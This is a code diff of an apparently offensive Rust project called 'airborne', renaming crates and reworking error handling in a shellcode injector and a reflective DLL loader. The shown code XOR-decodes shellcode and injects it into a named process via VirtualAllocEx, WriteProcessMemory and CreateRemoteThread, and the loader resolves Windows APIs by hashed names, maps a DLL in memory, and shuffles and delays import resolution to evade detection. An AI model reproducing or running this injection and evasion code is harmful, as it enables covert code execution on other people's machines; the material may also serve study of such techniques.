.VirtualAddress,
|
.VirtualAddress,
|
||||||
)? as *mut IMAGE_EXPORT_DIRECTORY;
|
) as *mut IMAGE_EXPORT_DIRECTORY;
|
||||||
|
|
||||||
let export_names = from_raw_parts(
|
let export_names = from_raw_parts(
|
||||||
rva_to_offset(
|
rva_to_offset(
|
||||||
base_ptr as _,
|
base_ptr as _,
|
||||||
&*nt_header_ptr,
|
&*nt_header_ptr,
|
||||||
(*export_dir_ptr).AddressOfNames,
|
(*export_dir_ptr).AddressOfNames,
|
||||||
)? as *const u32,
|
) as *const u32,
|
||||||
(*export_dir_ptr).NumberOfNames as _,
|
(*export_dir_ptr).NumberOfNames as _,
|
||||||
);
|
);
|
||||||
|
|
||||||
let export_functions = from_raw_parts(
|
let export_functions = from_raw_parts(
|
||||||
rva_to_offset(
|
rva_to_offset(
|
||||||
base_ptr as _,
|
base_ptr as _,
|
||||||
&*nt_header_ptr,
|
&*nt_header_ptr,
|
||||||
(*export_dir_ptr).AddressOfFunctions,
|
(*export_dir_ptr).AddressOfFunctions,
|
||||||
)? as *const u32,
|
) as *const u32,
|
||||||
(*export_dir_ptr).NumberOfFunctions as _,
|
(*export_dir_ptr).NumberOfFunctions as _,
|
||||||
);
|
);
|
||||||
|
|
||||||
let export_ordinals = from_raw_parts(
|
let export_ordinals = from_raw_parts(
|
||||||
rva_to_offset(
|
rva_to_offset(
|
||||||
base_ptr as _,
|
base_ptr as _,
|
||||||
&*nt_header_ptr,
|
&*nt_header_ptr,
|
||||||
(*export_dir_ptr).AddressOfNameOrdinals,
|
(*export_dir_ptr).AddressOfNameOrdinals,
|
||||||
)? as *const u16,
|
) as *const u16,
|
||||||
(*export_dir_ptr).NumberOfNames as _,
|
(*export_dir_ptr).NumberOfNames as _,
|
||||||
);
|
);
|
||||||
|
|
||||||
for i in 0..(*export_dir_ptr).NumberOfNames as usize {
|
for i in 0..(*export_dir_ptr).NumberOfNames as usize {
|
||||||
let export_name =
|
let export_name =
|
||||||
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i])? as *const i8;
|
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8;
|
||||||
|
|
||||||
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
|
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
|
||||||
let export_ordinal = export_ordinals[i] as usize;
|
let export_ordinal = export_ordinals[i] as usize;
|
||||||
@ -353,23 +342,19 @@ unsafe fn get_exports(base_ptr: *mut u8) -> Result<BTreeMap<String, usize>, Box<
|
|||||||
base_ptr as _,
|
base_ptr as _,
|
||||||
&*nt_header_ptr,
|
&*nt_header_ptr,
|
||||||
export_functions[export_ordinal],
|
export_functions[export_ordinal],
|
||||||
)?,
|
),
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(exports)
|
exports
|
||||||
}
|
}
|
||||||
|
|
||||||
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
|
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
|
||||||
(base_ptr as usize + rva) as *mut T
|
(base_ptr as usize + rva) as *mut T
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn rva_to_offset(
|
unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize {
|
||||||
base: usize,
|
|
||||||
nt_header_ref: &IMAGE_NT_HEADERS64,
|
|
||||||
mut rva: u32,
|
|
||||||
) -> Result<usize, Box<dyn Error>> {
|
|
||||||
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
|
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
|
||||||
&nt_header_ref.OptionalHeader as *const _ as _,
|
&nt_header_ref.OptionalHeader as *const _ as _,
|
||||||
nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
|
nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
|
||||||
@ -386,9 +371,9 @@ unsafe fn rva_to_offset(
|
|||||||
rva -= (*section_header_ptr.add(i)).VirtualAddress;
|
rva -= (*section_header_ptr.add(i)).VirtualAddress;
|
||||||
rva += (*section_header_ptr.add(i)).PointerToRawData;
|
rva += (*section_header_ptr.add(i)).PointerToRawData;
|
||||||
|
|
||||||
return Ok(base + rva as usize);
|
return base + rva as usize;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Err(format!("failed to find section for RVA {:#x}", rva).into())
|
0
|
||||||
}
|
}
|
||||||
|
@ -1,11 +1,11 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "poc-injector"
|
name = "airborne-injector"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
lexopt = "0.3.0"
|
lexopt = "0.3.0"
|
||||||
airborne-common = { path = "../common" }
|
airborne-utils = { path = "../utils" }
|
||||||
|
|
||||||
[dependencies.windows-sys]
|
[dependencies.windows-sys]
|
||||||
version = "0.52.0"
|
version = "0.52.0"
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
use std::{error::Error, mem::transmute, ptr::null_mut};
|
use std::{mem::transmute, ptr::null_mut};
|
||||||
|
|
||||||
use windows_sys::Win32::{
|
use windows_sys::Win32::{
|
||||||
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
|
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
|
||||||
@ -9,13 +9,13 @@ use windows_sys::Win32::{
|
|||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
|
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
|
||||||
let dll_len = dll_vec.len();
|
let dll_len = dll_vec.len();
|
||||||
|
|
||||||
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
|
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
|
||||||
|
|
||||||
if h_process == INVALID_HANDLE_VALUE {
|
if h_process == INVALID_HANDLE_VALUE {
|
||||||
return Err(format!("failed to open process {}", pid).into());
|
panic!("failed to open process");
|
||||||
}
|
}
|
||||||
|
|
||||||
let base_addr_ptr = VirtualAllocEx(
|
let base_addr_ptr = VirtualAllocEx(
|
||||||
@ -27,7 +27,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if base_addr_ptr.is_null() {
|
if base_addr_ptr.is_null() {
|
||||||
return Err(format!("failed to allocate memory into process {}", pid).into());
|
panic!("failed to allocate memory");
|
||||||
}
|
}
|
||||||
|
|
||||||
println!("[+] allocated memory at {:p}", base_addr_ptr);
|
println!("[+] allocated memory at {:p}", base_addr_ptr);
|
||||||
@ -40,7 +40,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
|
|||||||
null_mut(),
|
null_mut(),
|
||||||
) == 0
|
) == 0
|
||||||
{
|
{
|
||||||
return Err(format!("failed to write process memory into process {}", pid).into());
|
panic!("failed to write process memory");
|
||||||
}
|
}
|
||||||
|
|
||||||
let h_thread = CreateRemoteThread(
|
let h_thread = CreateRemoteThread(
|
||||||
@ -54,11 +54,9 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
|
|||||||
);
|
);
|
||||||
|
|
||||||
if h_thread == INVALID_HANDLE_VALUE {
|
if h_thread == INVALID_HANDLE_VALUE {
|
||||||
return Err(format!("failed to create remote thread into process {}", pid).into());
|
panic!("failed to create remote thread");
|
||||||
}
|
}
|
||||||
|
|
||||||
CloseHandle(h_thread);
|
CloseHandle(h_thread);
|
||||||
CloseHandle(h_process);
|
CloseHandle(h_process);
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
}
|
||||||
|
@ -15,51 +15,24 @@ struct Args {
|
|||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
let args = parse_args();
|
let args = parse_args();
|
||||||
let proc_id = unsafe {
|
let proc_id =
|
||||||
match process::iterate_procs(&args.procname) {
|
unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") };
|
||||||
Ok(Some(pid)) => pid,
|
|
||||||
Ok(None) => {
|
|
||||||
println!("[!] process with name {} not found", args.procname);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
println!("[!] error during process iteration: {}", e);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut shellcode = match fs::read(&args.shellcode_path) {
|
let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode");
|
||||||
Ok(shellcode) => shellcode,
|
|
||||||
Err(e) => {
|
|
||||||
println!("[!] failed to read shellcode: {}", e);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
let keyfile = match fs::read(&args.keyfile_path) {
|
|
||||||
Ok(keyfile) => keyfile,
|
|
||||||
Err(e) => {
|
|
||||||
println!("[!] failed to read xor keyfile: {}", e);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
if args.offset >= shellcode.len() {
|
if args.offset >= shellcode.len() {
|
||||||
println!("[!] offset is greater or equal than shellcode length");
|
println!("[!] offset is greater or equal than shellcode length");
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
|
||||||
println!("[+] xor'ing shellcode");
|
println!("[+] xor'ing shellcode");
|
||||||
airborne_common::xor_cipher(&mut shellcode, &keyfile);
|
airborne_utils::xor_cipher(&mut shellcode, &keyfile);
|
||||||
|
|
||||||
println!("[+] injecting shellcode into {}", args.procname);
|
println!("[+] injecting shellcode into {}", args.procname);
|
||||||
unsafe {
|
unsafe { inject::inject(proc_id, shellcode) };
|
||||||
match inject::inject(proc_id, shellcode) {
|
|
||||||
Ok(_) => println!("[+] done"),
|
println!("[+] done");
|
||||||
Err(e) => println!("[!] failure during injection: {}", e),
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fn parse_args() -> Args {
|
fn parse_args() -> Args {
|
||||||
@ -112,5 +85,5 @@ fn parse_args() -> Args {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn print_usage() {
|
fn print_usage() {
|
||||||
println!("Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>");
|
println!("Usage: injector.exe -p <process_name> -s <shellcode_path> -k <keyfile_path>");
|
||||||
}
|
}
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
use std::{error::Error, ffi::CStr};
|
use std::ffi::CStr;
|
||||||
|
|
||||||
use windows_sys::Win32::{
|
use windows_sys::Win32::{
|
||||||
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
|
Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
|
||||||
@ -7,31 +7,31 @@ use windows_sys::Win32::{
|
|||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
fn snapshot() -> Result<isize, Box<dyn Error>> {
|
fn snapshot() -> isize {
|
||||||
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
|
let snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };
|
||||||
|
|
||||||
if snapshot == INVALID_HANDLE_VALUE {
|
if snapshot == INVALID_HANDLE_VALUE {
|
||||||
return Err("failed to create toolhelp snapshot".into());
|
panic!("failed to create snapshot");
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(snapshot)
|
snapshot
|
||||||
}
|
}
|
||||||
|
|
||||||
unsafe fn first_proc_entry(snapshot: isize) -> Result<PROCESSENTRY32, Box<dyn Error>> {
|
unsafe fn first_proc_entry(snapshot: isize) -> PROCESSENTRY32 {
|
||||||
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
|
let mut pe: PROCESSENTRY32 = std::mem::zeroed();
|
||||||
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
|
pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as _;
|
||||||
|
|
||||||
if Process32First(snapshot, &mut pe) == 0 {
|
if Process32First(snapshot, &mut pe) == 0 {
|
||||||
CloseHandle(snapshot);
|
CloseHandle(snapshot);
|
||||||
return Err("failed to get first process entry".into());
|
panic!("failed to get first process entry");
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(pe)
|
pe
|
||||||
}
|
}
|
||||||
|
|
||||||
pub unsafe fn iterate_procs(target_name: &str) -> Result<Option<u32>, Box<dyn Error>> {
|
pub unsafe fn iterate_procs(target_name: &str) -> Option<u32> {
|
||||||
let snapshot = snapshot()?;
|
let snapshot = snapshot();
|
||||||
let mut pe = first_proc_entry(snapshot)?;
|
let mut pe = first_proc_entry(snapshot);
|
||||||
|
|
||||||
loop {
|
loop {
|
||||||
let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
|
let proc_name = CStr::from_ptr(pe.szExeFile.as_ptr() as _)
|
||||||
@ -43,15 +43,14 @@ pub unsafe fn iterate_procs(target_name: &str) -> Result<Option<u32>, Box<dyn Er
|
|||||||
println!("[+] {}: {}", pid, proc_name);
|
println!("[+] {}: {}", pid, proc_name);
|
||||||
CloseHandle(snapshot);
|
CloseHandle(snapshot);
|
||||||
|
|
||||||
return Ok(Some(pid));
|
return Some(pid);
|
||||||
}
|
} else if Process32Next(snapshot, &mut pe) == 0 {
|
||||||
|
|
||||||
if Process32Next(snapshot, &mut pe) == 0 {
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
println!("[-] process with name {} not found", target_name);
|
||||||
CloseHandle(snapshot);
|
CloseHandle(snapshot);
|
||||||
|
|
||||||
Ok(None)
|
None
|
||||||
}
|
}
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "poc-payload"
|
name = "airborne-payload"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "reflective-loader"
|
name = "airborne-reflective_loader"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
@ -7,7 +7,7 @@ edition = "2021"
|
|||||||
crate-type = ["cdylib"]
|
crate-type = ["cdylib"]
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
airborne-common = { path = "../common" }
|
airborne-utils = { path = "../utils" }
|
||||||
|
|
||||||
[dependencies.windows-sys]
|
[dependencies.windows-sys]
|
||||||
version = "0.52.0"
|
version = "0.52.0"
|
||||||
|
@ -10,7 +10,6 @@ use core::{
|
|||||||
slice::from_raw_parts,
|
slice::from_raw_parts,
|
||||||
};
|
};
|
||||||
|
|
||||||
use airborne_common::Flags;
|
|
||||||
use windows_sys::{
|
use windows_sys::{
|
||||||
core::PWSTR,
|
core::PWSTR,
|
||||||
Win32::{
|
Win32::{
|
||||||
@ -42,6 +41,10 @@ use windows_sys::{
|
|||||||
|
|
||||||
use crate::memory::*;
|
use crate::memory::*;
|
||||||
|
|
||||||
|
// TODO: replace with parameters from the shellcode generator
|
||||||
|
const SHUFFLE_IMPORTS: bool = true;
|
||||||
|
const DELAY_IMPORTS: bool = true;
|
||||||
|
|
||||||
const MAX_IMPORT_DELAY_MS: u64 = 2000;
|
const MAX_IMPORT_DELAY_MS: u64 = 2000;
|
||||||
|
|
||||||
#[cfg(not(test))]
|
#[cfg(not(test))]
|
||||||
@ -50,15 +53,36 @@ fn panic(_info: &core::panic::PanicInfo) -> ! {
|
|||||||
loop {}
|
loop {}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TODO: add to blog references
|
||||||
|
// https://research.ijcaonline.org/volume113/number8/pxc3901710.pdf
|
||||||
|
|
||||||
|
// TODO: check if i8 types can be replaced with u8 types (especially in pointers)
|
||||||
|
|
||||||
|
// TODO: replace plain returns with Result<T, E> and propagate errors until panic in the loader function
|
||||||
|
|
||||||
|
// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing
|
||||||
|
|
||||||
|
#[export_name = "_fltused"]
|
||||||
|
static _FLTUSED: i32 = 0;
|
||||||
|
|
||||||
#[no_mangle]
|
#[no_mangle]
|
||||||
#[allow(non_snake_case, clippy::missing_safety_doc)]
|
#[allow(non_snake_case)]
|
||||||
pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
|
pub unsafe extern "system" fn _DllMainCRTStartup(
|
||||||
|
_module: HMODULE,
|
||||||
|
_call_reason: u32,
|
||||||
|
_reserved: *mut c_void,
|
||||||
|
) -> BOOL {
|
||||||
1
|
1
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//#[no_mangle]
|
||||||
|
//#[allow(non_snake_case)]
|
||||||
|
//pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL {
|
||||||
|
// 1
|
||||||
|
//}
|
||||||
|
|
||||||
#[link_section = ".text"]
|
#[link_section = ".text"]
|
||||||
#[no_mangle]
|
#[no_mangle]
|
||||||
#[allow(clippy::missing_safety_doc)]
|
|
||||||
pub unsafe extern "system" fn loader(
|
pub unsafe extern "system" fn loader(
|
||||||
payload_dll: *mut c_void,
|
payload_dll: *mut c_void,
|
||||||
function_hash: u32,
|
function_hash: u32,
|
||||||
@ -67,8 +91,6 @@ pub unsafe extern "system" fn loader(
|
|||||||
_shellcode_bin: *mut c_void,
|
_shellcode_bin: *mut c_void,
|
||||||
flags: u32,
|
flags: u32,
|
||||||
) {
|
) {
|
||||||
let flags = airborne_common::parse_u32_flag(flags);
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
1.) locate the required functions and modules from exports with their hashed names
|
1.) locate the required functions and modules from exports with their hashed names
|
||||||
*/
|
*/
|
||||||
@ -99,8 +121,11 @@ pub unsafe extern "system" fn loader(
|
|||||||
as *mut IMAGE_NT_HEADERS64;
|
as *mut IMAGE_NT_HEADERS64;
|
||||||
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
|
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
|
||||||
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
|
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
|
||||||
let base_addr_ptr =
|
let base_addr_ptr = allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs);
|
||||||
allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap();
|
|
||||||
|
if base_addr_ptr.is_null() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr);
|
copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr);
|
||||||
|
|
||||||
@ -138,7 +163,7 @@ pub unsafe extern "system" fn loader(
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs, &flags);
|
patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs);
|
||||||
|
|
||||||
/*
|
/*
|
||||||
5.) finalize the sections by setting protective permissions after mapping the image
|
5.) finalize the sections by setting protective permissions after mapping the image
|
||||||
@ -150,7 +175,15 @@ pub unsafe extern "system" fn loader(
|
|||||||
6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
|
6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
|
||||||
*/
|
*/
|
||||||
|
|
||||||
if flags.ufn {
|
if flags == 0 {
|
||||||
|
let dll_main_addr = base_addr_ptr as usize
|
||||||
|
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
|
||||||
|
|
||||||
|
#[allow(non_snake_case)]
|
||||||
|
let DllMain = transmute::<_, DllMain>(dll_main_addr);
|
||||||
|
|
||||||
|
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
|
||||||
|
} else {
|
||||||
// UserFunction address = base address + RVA of user function
|
// UserFunction address = base address + RVA of user function
|
||||||
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
|
let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
|
||||||
|
|
||||||
@ -159,14 +192,6 @@ pub unsafe extern "system" fn loader(
|
|||||||
|
|
||||||
// execution with user data passed into the shellcode by the generator
|
// execution with user data passed into the shellcode by the generator
|
||||||
UserFunction(user_data, user_data_len);
|
UserFunction(user_data, user_data_len);
|
||||||
} else {
|
|
||||||
let dll_main_addr = base_addr_ptr as usize
|
|
||||||
+ (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
|
|
||||||
|
|
||||||
#[allow(non_snake_case)]
|
|
||||||
let DllMain = transmute::<_, DllMain>(dll_main_addr);
|
|
||||||
|
|
||||||
DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -238,7 +263,7 @@ unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
|
|||||||
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
|
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
|
||||||
|
|
||||||
// calculate the module hash and compare it
|
// calculate the module hash and compare it
|
||||||
if module_hash == airborne_common::calc_hash(name_slice_buf) {
|
if module_hash == airborne_utils::calc_hash(name_slice_buf) {
|
||||||
return Some((*table_entry_ptr).DllBase as _);
|
return Some((*table_entry_ptr).DllBase as _);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -293,7 +318,7 @@ unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Optio
|
|||||||
let name_len = get_cstr_len(name_ptr as _);
|
let name_len = get_cstr_len(name_ptr as _);
|
||||||
let name_slice = from_raw_parts(name_ptr as _, name_len);
|
let name_slice = from_raw_parts(name_ptr as _, name_len);
|
||||||
|
|
||||||
if function_hash == airborne_common::calc_hash(name_slice) {
|
if function_hash == airborne_utils::calc_hash(name_slice) {
|
||||||
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
|
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -306,7 +331,7 @@ unsafe fn allocate_rw_memory(
|
|||||||
preferred_base_ptr: *mut c_void,
|
preferred_base_ptr: *mut c_void,
|
||||||
alloc_size: usize,
|
alloc_size: usize,
|
||||||
far_procs: &FarProcs,
|
far_procs: &FarProcs,
|
||||||
) -> Option<*mut c_void> {
|
) -> *mut c_void {
|
||||||
let mut base_addr_ptr = (far_procs.VirtualAlloc)(
|
let mut base_addr_ptr = (far_procs.VirtualAlloc)(
|
||||||
preferred_base_ptr,
|
preferred_base_ptr,
|
||||||
alloc_size,
|
alloc_size,
|
||||||
@ -324,11 +349,7 @@ unsafe fn allocate_rw_memory(
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
if base_addr_ptr.is_null() {
|
base_addr_ptr
|
||||||
return None;
|
|
||||||
}
|
|
||||||
|
|
||||||
Some(base_addr_ptr)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[link_section = ".text"]
|
#[link_section = ".text"]
|
||||||
@ -417,8 +438,7 @@ unsafe fn patch_iat(
|
|||||||
base_addr_ptr: *mut c_void,
|
base_addr_ptr: *mut c_void,
|
||||||
mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
|
mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR,
|
||||||
far_procs: &FarProcs,
|
far_procs: &FarProcs,
|
||||||
flags: &Flags,
|
) {
|
||||||
) -> BOOL {
|
|
||||||
/*
|
/*
|
||||||
1.) shuffle Import Directory Table entries (image import descriptors)
|
1.) shuffle Import Directory Table entries (image import descriptors)
|
||||||
2.) delay the relocation of each import a random duration
|
2.) delay the relocation of each import a random duration
|
||||||
@ -436,13 +456,10 @@ unsafe fn patch_iat(
|
|||||||
|
|
||||||
let id_ptr = import_descriptor_ptr;
|
let id_ptr = import_descriptor_ptr;
|
||||||
|
|
||||||
if import_count > 1 && flags.shuffle {
|
if import_count > 1 && SHUFFLE_IMPORTS {
|
||||||
// Fisher-Yates shuffle
|
// Fisher-Yates shuffle
|
||||||
for i in 0..import_count - 1 {
|
for i in 0..import_count - 1 {
|
||||||
let rn = match get_random(far_procs) {
|
let rn = get_rn(far_procs).unwrap(); // TODO: replace with error propagation
|
||||||
Some(rn) => rn,
|
|
||||||
None => return 0,
|
|
||||||
};
|
|
||||||
|
|
||||||
let gap = import_count - i;
|
let gap = import_count - i;
|
||||||
let j_u64 = i + (rn % gap);
|
let j_u64 = i + (rn % gap);
|
||||||
@ -456,18 +473,17 @@ unsafe fn patch_iat(
|
|||||||
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
|
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
|
||||||
|
|
||||||
if module_name_ptr.is_null() {
|
if module_name_ptr.is_null() {
|
||||||
return 0;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
|
let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
|
||||||
|
|
||||||
if module_handle == 0 {
|
if module_handle == 0 {
|
||||||
return 0;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if flags.delay {
|
if DELAY_IMPORTS {
|
||||||
// skip delay if winapi call fails
|
let rn = get_rn(far_procs).unwrap_or(0); // TODO: replace with error propagation
|
||||||
let rn = get_random(far_procs).unwrap_or(0);
|
|
||||||
let delay = rn % MAX_IMPORT_DELAY_MS;
|
let delay = rn % MAX_IMPORT_DELAY_MS;
|
||||||
(far_procs.Sleep)(delay as _);
|
(far_procs.Sleep)(delay as _);
|
||||||
}
|
}
|
||||||
@ -501,10 +517,7 @@ unsafe fn patch_iat(
|
|||||||
// mask out the high bits to get the ordinal value and patch the address of the function
|
// mask out the high bits to get the ordinal value and patch the address of the function
|
||||||
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
|
let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
|
||||||
(*thunk_ptr).u1.Function =
|
(*thunk_ptr).u1.Function =
|
||||||
match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) {
|
(far_procs.GetProcAddress)(module_handle, fn_ord_ptr).unwrap() as _;
|
||||||
Some(fn_addr) => fn_addr as usize as _,
|
|
||||||
None => return 0,
|
|
||||||
};
|
|
||||||
} else {
|
} else {
|
||||||
// get the function name from the thunk and patch the address of the function
|
// get the function name from the thunk and patch the address of the function
|
||||||
let thunk_data_ptr = (base_addr_ptr as usize
|
let thunk_data_ptr = (base_addr_ptr as usize
|
||||||
@ -512,10 +525,7 @@ unsafe fn patch_iat(
|
|||||||
as *mut IMAGE_IMPORT_BY_NAME;
|
as *mut IMAGE_IMPORT_BY_NAME;
|
||||||
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
|
let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
|
||||||
(*thunk_ptr).u1.Function =
|
(*thunk_ptr).u1.Function =
|
||||||
match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) {
|
(far_procs.GetProcAddress)(module_handle, fn_name_ptr).unwrap() as _;
|
||||||
Some(fn_addr) => fn_addr as usize as _,
|
|
||||||
None => return 0,
|
|
||||||
};
|
|
||||||
}
|
}
|
||||||
|
|
||||||
thunk_ptr = thunk_ptr.add(1);
|
thunk_ptr = thunk_ptr.add(1);
|
||||||
@ -525,8 +535,6 @@ unsafe fn patch_iat(
|
|||||||
import_descriptor_ptr =
|
import_descriptor_ptr =
|
||||||
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
|
(import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
|
||||||
}
|
}
|
||||||
|
|
||||||
1
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[link_section = ".text"]
|
#[link_section = ".text"]
|
||||||
@ -601,7 +609,7 @@ unsafe fn finalize_relocations(
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[link_section = ".text"]
|
#[link_section = ".text"]
|
||||||
unsafe fn get_random(far_procs: &FarProcs) -> Option<u64> {
|
unsafe fn get_rn(far_procs: &FarProcs) -> Option<u64> {
|
||||||
let mut buffer = [0u8; 8];
|
let mut buffer = [0u8; 8];
|
||||||
let status = (far_procs.BCryptGenRandom)(
|
let status = (far_procs.BCryptGenRandom)(
|
||||||
BCRYPT_RNG_ALG_HANDLE,
|
BCRYPT_RNG_ALG_HANDLE,
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "airborne-common"
|
name = "airborne-utils"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
edition = "2021"
